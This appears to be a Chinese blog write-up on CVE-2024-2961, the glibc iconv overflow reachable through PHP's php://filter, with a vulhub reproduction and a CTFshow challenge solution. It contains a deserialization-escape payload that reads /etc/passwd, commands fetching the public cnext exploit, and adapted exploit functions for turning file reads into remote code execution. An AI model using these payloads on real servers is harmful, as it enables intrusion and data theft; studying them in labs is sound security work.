CVE-2024-2961漏洞的简单学习
简单介绍
PHP利用glibc iconv()中的一个缓冲区溢出漏洞,实现将文件读取提升为任意命令执行漏洞
在php读取文件的时候可以使用 php://filter伪协议利用 iconv 函数, 从而可以利用该漏洞进行 RCE
漏洞的利用场景
PHP的所有标准文件读取操作都受到了影响:file_get_contents()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等。文件写入操作同样受到影响(如file_put_contents()及其同类函数).
其他利用场景; 其他文件读写相关操作只要支持php://filter伪协议都可以利用。包括XXE、new $_GET['cls']($_GET['argument']);这种场景,都可以使用这个trick进行利用
简单复现利用
vulhub复现地址:https://github.com/vulhub/vulhub/tree/master/php/CVE-2024-2961
搭建好后打开会发现有一个报错, 因为开始我们的file是没有传参的, 所以稍微修改一下index.php的内容
<?php
if(isset($_POST['file'])){
$data = file_get_contents($_POST['file']);
echo "File contents: $data";}
可以发现是可以进行读取文件的, 接下来就是尝试进行RCE的利用了

安装依赖
需要有python3的环境
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip
然后从https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py地址下载POC并执行
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

然后访问网站相应的路由就可以进行 RCE了

CTFshow 西瓜杯 Ezzz_php
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{$start = mb_strpos($data, "[");$end = mb_strpos($data, "]");return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{public $start;public $filename="/etc/passwd";public function __construct($start){$this->start=$start;}public function __destruct(){if($this->start == "gxngxngxn"){echo 'What you are reading is:'.file_get_contents($this->filename);}}
}
if(isset($_GET['start'])){$readfile = new read_file($_GET['start']);$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";if(preg_match("/\[|\]/i", $_GET['read'])){die("NONONO!!!");}$ctf = substrstr($read."[".serialize($readfile)."]");unserialize($ctf);
}else{echo "Start_Funny_CTF!!!";
}
审计代码, 我们最终需要利用到 file_get_contents函数 从文件读取到RCE
前面就是php的反序列化逃逸的问题 利用 mb_substr和mb_strpos 执行存在差异去绕过
简单说就是
%9f可以造成字符串往后移动一位,因为它不解析,%f0可以把字符串吞掉前三位
%f0配合任意的三个字符结合%9f就可以达到字符串逃逸
具体可以看:https://www.cnblogs.com/gxngxngxn/p/18187578
通过构造payload可以进行一个任意文件的读取
?start=aaaaaaaaaa&read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:11:"/etc/passwd";}
接下来就是 将任意文件读取提升为远程代码执行
利用原作者的exp, 修改一下send和download即可
def send(self, path: str) -> Response:"""Sends given `path` to the HTTP server. Returns the response."""payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b")filename_len = "a" * (len(path) + 10)url = self.url+f"?start={filename_len}&read={payload}"return self.session.get(url)def download(self, path: str) -> bytes:"""Returns the contents of a remote file."""path = f"php://filter/convert.base64-encode/resource={path}"response = self.send(path)data = response.re.search(b"What you are reading is:(.*)", flags=re.S).group(1)return base64.decode(data)


访问到相应路由执行命令
参考文章
https://xz.aliyun.com/t/15549?time__1311=Gqjxn7itGQeWqGNDQiiQGkDuW1wfhTbnbD&u_atoken=147e8471b0a897eb857599898fc3e5ae&u_asig=0a472f9217315824068385990e003a```
相关文章:
CVE-2024-2961漏洞的简单学习
简单介绍 PHP利用glibc iconv()中的一个缓冲区溢出漏洞,实现将文件读取提升为任意命令执行漏洞 在php读取文件的时候可以使用 php://filter伪协议利用 iconv 函数, 从而可以利用该漏洞进行 RCE 漏洞的利用场景 PHP的所有标准文件读取操作都受到了影响࿱…...
计算机组成原理笔记----基础篇
计算机系统硬件软件 软件 ├── 系统软件 │ ├── 操作系统 │ └── 工具软件 └── 应用软件├── 办公软件├── 媒体软件└── 浏览器软件硬件 ├── 计算机硬件 │ ├── 中央处理器(CPU) │ ├── 存储设备 │ │ ├── …...
TheadLocal出现的内存泄漏具体泄漏的是什么?弱引用在里面有什么作用?什么情景什么问题?
首先ThreadLocal是什么就不介绍了!这篇是讲讲里面的东西。 再简单说一下强引用和弱引用,举个例子,我们平常new出来的对象就是强引用的,在栈中有强引用,所以在gc的时候,堆中的实例对象不会被清除掉。 弱引…...
AI在电商平台中的创新应用:提升销售效率与用户体验的数字化转型
1. 引言 AI技术在电商平台的应用已不仅仅停留在基础的数据分析和自动化推荐上。随着人工智能的迅速发展,越来越多的电商平台开始将AI技术深度融合到用户体验、定价策略、供应链优化、客户服务等核心业务中,从而显著提升运营效率和用户满意度。在这篇文章…...
CTF-RE 从0到N:RC4
RC4加密算法简介 RC4是由Ron Rivest于1987年设计的一种流加密算法。它通过伪随机数生成器生成密钥流,并将该密钥流与明文进行异或运算来完成加密和解密。 RC4的加密流程 RC4主要包含两个阶段: 密钥调度算法 (Key Scheduling Algorithm, KSA)ÿ…...
HbuilderX 插件开发-模板创建
实现思路 使用HbuilderX 打开某个文档时右键点击的时候获取当前打开的文档内容使用 API 替换为自己的模板 示例 package.json {"id": "SL-HbuilderX-Tool","name": "SL-HbuilderX-Tool","description": "快速创建h…...
打造专业问答社区:Windows部署Apache Answer结合cpolar实现公网访问
文章目录 前言1. 本地安装Docker2. 本地部署Apache Answer2.1 设置语言选择简体中文2.2 配置数据库2.3 创建配置文件2.4 填写基本信息 3. 如何使用Apache Answer3.1 后台管理3.2 提问与回答3.3 查看主页回答情况 4. 公网远程访问本地 Apache Answer4.1 内网穿透工具安装4.2 创建…...
YOLO-SLD: An Attention Mechanism-ImprovedYOLO for License Plate Detection
摘要 车辆牌照检测在智能交通系统中发挥着关键作用。检测汽车、卡车和面包车等的牌照对于执法、监控和收费站操作非常有用。如何快速准确地检测牌照对牌照识别至关重要。然而,在现实世界复杂捕捉场景中,光照条件不均匀或牌照拍摄角度的倾斜会发生剧烈变…...
ArcGIS的汉字(亚洲文本)垂直标注
01 需求说明 实现ArcGIS的汉字(亚洲文本的垂直标注)。 启用 Maplex 标注引擎。 在标注 工具条上单击标注管理器按钮 。 选中要进行标注的图层旁边的复选框。 选择图层下方的标注分类。 单击符号。 选中 CJK 字符方向复选框。 仅当字体有垂直的文本度…...
【面试题】
1.UART 和 IIC 的区别 UART (Universal Asynchronous Receiver-Transmitter) 用途:用于异步串行通信。信号线:通常需要两根线(TX 和 RX),有时还需一根地线。通信方式:点对点。数据传输:单向或…...
Leetcode 寻找峰值
为了实现时间复杂度为 O ( log n ) O(\log n) O(logn),可以使用二分查找法: 解题思路: 峰值的特性是:当前元素大于左右相邻元素。使用二分法: 如果 nums[mid] > nums[mid 1],说明峰值在左侧或当前…...
探索大规模语言模型(LLM)在心理健康护理领域中的应用与潜力
概述 心理健康是公共卫生最重要的领域之一。根据美国国家精神卫生研究所(NIMH)的数据,到 2021 年,22.8% 的美国成年人将患上某种形式的精神疾病。在全球范围内,精神疾病占非致命性疾病负担的 30%,并被世界…...
Infisical开源密钥管理平台实战指南
1. 引言 在现代软件开发中,安全地管理环境变量和敏感信息已成为一个关键挑战。Infisical作为一个开源的密钥管理平台,为这一问题提供了强大而灵活的解决方案。本指南将深入探讨Infisical的功能,并通过实际操作步骤,帮助读者全面了解和使用这个工具。 2. Infisical概述 I…...
AI大模型:重塑软件开发流程与模式
人工智能技术的飞速发展,尤其是AI大模型的兴起,正以前所未有的速度和深度影响着各行各业,其中软件开发领域尤为显著。AI大模型,如GPT系列、BERT、Claude等通过其强大的自然语言处理能力、代码理解和生成能力,正在从根本…...
AMD(Xilinx) FPGA配置Flash大小选择
目录 1 FPGA配置Flash大小的决定因素2 为什么选择的Flash容量大小为最小保证能够完成整个FPGA的配置呢? 1 FPGA配置Flash大小的决定因素 在进行FPGA硬件设计时,选择合适的配置Flash是我们进行硬件设计必须考虑的,那么配置Flash大小的选择由什…...
基于Java Springboot图书借阅系统
一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术:Html、Css、Js、Vue、Element-ui 数据库:MySQL 后端技术:Java、Spring Boot、MyBatis 三、运行环境 开发工具:IDEA/eclipse 数据…...
DDRPHY数字IC后端设计实现系列专题之数字后端floorplanpowerplan设计
3.2.3 特殊单元的布局 布图阶段除了布置 I/O 单元和宏单元,在 28nm 制程工艺时,还需要处理两种特 殊的物理单元,Endcap 和 Tapcell。 DDRPHY数字IC后端设计实现系列专题之后端设计导入,IO Ring设计 (1)拐…...
【Mysql】Mysql函数(上)
1、概述 在Mysql中,为了提高代码重用性和隐藏实现细节,Mysql提供了很多函数。函数可以理解为封装好的模块代码。 2、分类 在Mysql中,函数非常多,主要可以分为以下几类: (1)聚合函数 …...
Java连接MySQL(测试build path功能)
Java连接MySQL(测试build path功能) 实验说明下载MySQL的驱动jar包连接测试的Java代码 实验说明 要测试该情况,需要先安装好MySQL的环境,其实也可以通过测试最后提示的输出来判断build path是否成功,因为如果不成功会直…...
卡尔曼滤波器
卡尔曼滤波器概述 卡尔曼滤波器(Kalman Filter)是一种递归的最优估计方法,广泛应用于信号处理、控制理论、导航定位等领域。它基于线性动态系统模型,通过观测数据不断更新系统的状态估计,从而使得估计值能够在噪声干扰…...
2025年06月CCF-GESP编程能力等级认证Scratch图形化编程一级真题解析
本文收录于《Scratch等级认证CCF-GESP图形化真题解析》专栏,专栏总目录:点这里,订阅后可阅读专栏内所有文章。 一、单选题(每题 3 分,共 30 分) 第 1 题 2025 年 4 月 19 日在北京举行了一场颇为瞩目的人形机器人半程马拉松赛。比赛期间,跑动着的机器人会利用身上安装…...
像素幻梦快速上手指南:3步完成16-bit风格图像生成与内存流导出
像素幻梦快速上手指南:3步完成16-bit风格图像生成与内存流导出 1. 认识像素幻梦创意工坊 像素幻梦创意工坊(Pixel Dream Workshop)是一款基于FLUX.1-dev扩散模型构建的像素艺术生成工具。它采用明亮的16-bit像素风格界面设计,为…...
避开C盘爆满!保姆级教程:在D盘安装Unity 2023.2f1c1和VS2022社区版
避开C盘爆满!保姆级教程:在D盘安装Unity 2023.2f1c1和VS2022社区版 对于刚接触游戏开发的新手来说,安装Unity和Visual Studio往往是遇到的第一个"拦路虎"。更让人头疼的是,这两个"重量级"开发工具默认都会占…...
OpenClaw+GLM-4.7-Flash:学术论文辅助写作全流程
OpenClawGLM-4.7-Flash:学术论文辅助写作全流程 1. 为什么需要AI辅助学术写作 作为一名经常需要撰写学术论文的研究者,我深刻体会到写作过程中的痛点。从海量文献中筛选关键信息、整理参考文献格式、反复修改论文结构,这些工作往往耗费大量…...
故障诊断指南:用STFT在5分钟内定位工业设备异常时间点(MATLAB版)
故障诊断实战:STFT在工业设备异常定位中的高效应用(MATLAB实现) 工业设备的异常检测如同医生听诊,需要精准捕捉故障的"心跳节律"。传统方法往往只能告诉我们"设备病了",却难以定位"何时发病…...
颈肩痛分急性和慢性,对症缓解才有效
颈肩痛并非单一症状,根据发病时间和诱因,可分为急性颈肩痛和慢性颈肩痛,两者的缓解和治疗方式差异显著,找对方法才能快速摆脱疼痛困扰。急性颈肩痛多由外伤、运动不当、落枕等引起,疼痛剧烈且突然发作,常伴…...
论文格式不再是噩梦:Paperxie 智能排版,4000 + 高校模版一键适配知网 / 维普
paperxie-免费查重复率aigc检测/开题报告/毕业论文/智能排版/文献综述/AIPPThttps://www.paperxie.cn/format/typesettinghttps://www.paperxie.cn/format/typesetting 又到毕业季,多少本科生在论文内容写完后,倒在了格式排版这最后一关?字体…...
保姆级教程:在Windows上用CMake+QT给CloudCompare 2.13.x添加一个Standard插件(附OpenCV配置)
从零构建CloudCompare插件:Windows平台CMakeQT全流程实战指南 在三维点云处理领域,CloudCompare凭借其开源特性和丰富的插件生态,已成为研究人员和工程师的首选工具之一。但对于刚接触插件开发的初学者而言,从环境配置到成功编译第…...
Zrlog面试问答及问题解决方案
面试问答 结合 ZrLog 部署(Maven 构建 环境配置 服务部署)的全流程,整理排查 / 运维 / 开发三类高频问题,覆盖场景、原因、解答思路,可直接用于沟通或故障定位: 一、环境准备阶段高频问题 1. 执行 jav…...
Go网络编程nethttp包解析
Go语言凭借其简洁高效的特性,已成为现代网络编程的热门选择。其中,标准库中的net/http包为开发者提供了强大的HTTP服务端和客户端功能,极大简化了Web开发流程。本文将深入解析net/http包的核心特性,帮助开发者掌握构建高性能Web服…...
